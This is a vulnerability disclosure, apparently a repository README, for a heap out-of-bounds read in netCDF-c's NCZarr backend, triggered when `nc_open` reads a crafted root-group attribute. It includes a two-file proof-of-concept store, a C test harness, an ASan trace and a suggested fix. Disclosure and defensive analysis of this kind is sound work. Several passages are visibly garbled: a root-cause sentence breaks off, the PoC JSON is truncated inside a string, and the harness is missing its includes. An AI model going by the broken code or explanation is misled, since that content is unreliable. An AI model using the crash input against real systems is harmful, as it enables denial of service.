# NCZarr heap-buffer-overflow READ in `ncz_read_atts()` via empty-array `_nczarr_default_maxstrlen` root-group attribute typed as fixed-size int ## Summary A heap-buffer-overflow **READ of 4 bytes** occurs in netCDF-c's NCZarr backend when opening a maliciously-crafted Zarr v2 store. The bug is reached **eagerly at `nc_open` time** because the root group's attributes are parsed during `ncz_open_file()`. No variables and no data payload are required — two tiny JSON files (`.zgroup`, `.zattrs`) trigger it. - **Target:** [Unidata/netcdf-c](https://github.com/Unidata/netcdf-c) - **Commit:** `c91c55d8fbcd64837d0dbc2f494aed2e0455b391` (2026-07-09), `main` - **Component:** `libnczarr` (NCZarr) attribute parsing - **Crash type:** heap-buffer-overflow (READ, size 4) — CWE-125 Out-of-bounds Read - **Build:** `clang -fsanitize=address`, Debug libnetcdf, `-DNETCDF_ENABLE_NCZARR=ON -DNETCDF_ENABLE_HDF5=OFF` - **Trigger surface:** `nc_open()` on an attacker-supplied NCZarr store (`mode=nczarr,file`) ## Root cause In `libnczarr/zsync.c`, `ncz_read_atts()` special-cases two reserved-ish, *non-hidden* attributes: `_nczarr_maxstrlen` (per-variable) and `_nczarr_default_maxstrlen` (root group). For each, it unconditionally dereferences the **first element** of the attribute's data buffer, guarded only by a type-tag check (`NC_INT`): ```c /* libnczarr/zsync.c — inside ncz_read_atts() */ if((stat = computeattrinfo(aname,jtypes,typehint,purezarr,value, &typeid,&typelen,&len,&data))) goto done; if((stat = ncz_makeattr(container,attlist,aname,typeid,len,data,&att))) /* :1292 */ goto done; ... if(ismaxstrlen && att->nc_typeid == NC_INT) zvar->maxstrlen = ((int*)att->data)[0]; /* :1300 (var path) */ if(isdfaltmaxstrlen && att->nc_typeid == NC_INT) zinfo->default_maxstrlen = ((int*)att->data)[0]; /* :1302 (root-group path, crash) */ ``` The attribute's **declared type** comes from the attacker-controlled `_nczarr_attr.types` dict (`" computeattrdata() -> zconvert()` produces an attribute with `len == 0` and a zero-sized data buffer. `ncz_makeattr()` (`libnczarr/zattr.c:1023`) then calls `malloc(len * typesize) = malloc(0)`, which under ASan returns a 1-byte region. The subsequent `((int*)att->data)[0]` reads 4 bytes out of that 0/1-byte allocation. Neither the element count (`len == 0`) nor the buffer size is checked before the dereference. Only the *type tag* is validated, and the type tag is exactly the field the attacker controls independently of the array length. The `_nczarr_default_maxstrlen` variant (line 1302) is the more serious of the two because it is reached **at open time** for the root group: `ncz_open_file()` (`libnczarr/zopen.c:111`) reads the root group's attributes before any user action. ## Proof of Concept A minimal NCZarr store — two files, no variables, no chunks (`store_bug/`): `store_bug/.zgroup`: ```json {"zarr_format": 2} ``` `store_bug/.zattrs`: ```json {"_nczarr_group": {"dimensions": {}, "arrays": [], "groups": []}, "_nczarr_superblock": {"version": "2.0.0"}, "_nczarr_default_maxstrlen": [], "_nczarr_attr": {"types": {"_nczarr_group": "|J0", "_nczarr_superblock": "|J0", "_nczarr_attr": "|J0", "_nczarr_default_maxstrlen": " #include "netcdf.h" int main(int argc, char **argv) { char url[4096]; snprintf(url,sizeof(url),"file://%s#mode=nczarr,file",argv[1]); int ncid; int st = nc_open(url, NC_NOWRITE, &ncid); printf("nc_open(%s) -> %d (%s)\n", url, st, nc_strerror(st)); if (st) return 1; nc_close(ncid); printf("OK closed\n"); return 0; } ``` Run: ``` ./readnc /abs/path/to/store_bug ``` ## Captured evidence (verbatim ASan report) ``` ==296849==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b25581e1410 at pc 0x557257bdd570 bp 0x7ffc3a0dfb50 sp 0x7ffc3a0dfb48 READ of size 4 at 0x7b25581e1410 thread T0 #0 0x557257bdd56f in ncz_read_atts /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1302 #1 0x557257bd712b in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:111 #2 0x557257bd6c6a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184 #3 0x557257bc3368 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258 #4 0x557257bc2a04 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696 #5 0x557257bc1a04 in main ../poc/readnc.c:8 0x7b25581e1411 is located 0 bytes after 1-byte region [0x7b25581e1410,0x7b25581e1411) allocated by thread T0 here: #0 0x7f055932435f in malloc #1 0x557257cc2a85 in ncz_makeattr /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zattr.c:1023 #2 0x557257bdd22d in ncz_read_atts /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1292 #3 0x557257bd712b in ncz_open_file /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:111 #4 0x557257bd6c6a in NCZ_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zopen.c:184 #5 0x557257bc3368 in NC_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:2258 #6 0x557257bc2a04 in nc_open /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libdispatch/dfile.c:696 #7 0x557257bc1a04 in main ../poc/readnc.c:8 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/kali/hunt-workspace/netcdf-audit-2026-07-12/netcdf-c/libnczarr/zsync.c:1302 in ncz_read_atts ``` (Full report with shadow-byte dump: `ASAN_default_maxstrlen_heap_oob.txt`.) ## Negative control An identical store, differing only in the single JSON value `_nczarr_default_maxstrlen`, opens cleanly (`store_neg/`): `store_neg/.zattrs` uses `"_nczarr_default_maxstrlen": [10]` (one valid int) instead of `[]`. The only differing byte-content between the two stores is `[]` vs `[10]`, isolating the defect precisely to the empty-array / declared-type mismatch. ``` nc_open(file:///.../maxstrlen_bug/store_neg#mode=nczarr,file) -> 0 (No error) OK closed ``` No ASan report; `nc_open` returns `0`. ## Impact Opening an untrusted NCZarr store (a directory tree, zip, or S3 object that any tool built on netCDF-c may `nc_open`) triggers an out-of-bounds heap read at open time, before any application logic runs. Consequences range from a crash / denial of service to potential information disclosure of adjacent heap contents into `default_maxstrlen`, which subsequently influences string-length handling. ## Suggested fix Before dereferencing `att->data[0]`, require the attribute to actually contain at least one element, e.g. gate both the `_nczarr_maxstrlen` (line 1300) and `_nczarr_default_maxstrlen` (line 1302) reads on `att->len >= 1` (equivalently `len >= 1`) in addition to the existing `nc_typeid == NC_INT` check, and reconcile the declared `_nczarr_attr.types` type against the actual parsed value length. ## Repository contents ``` README.md this file store_bug/.zgroup {"zarr_format": 2} store_bug/.zattrs crashing store (empty array [] + type "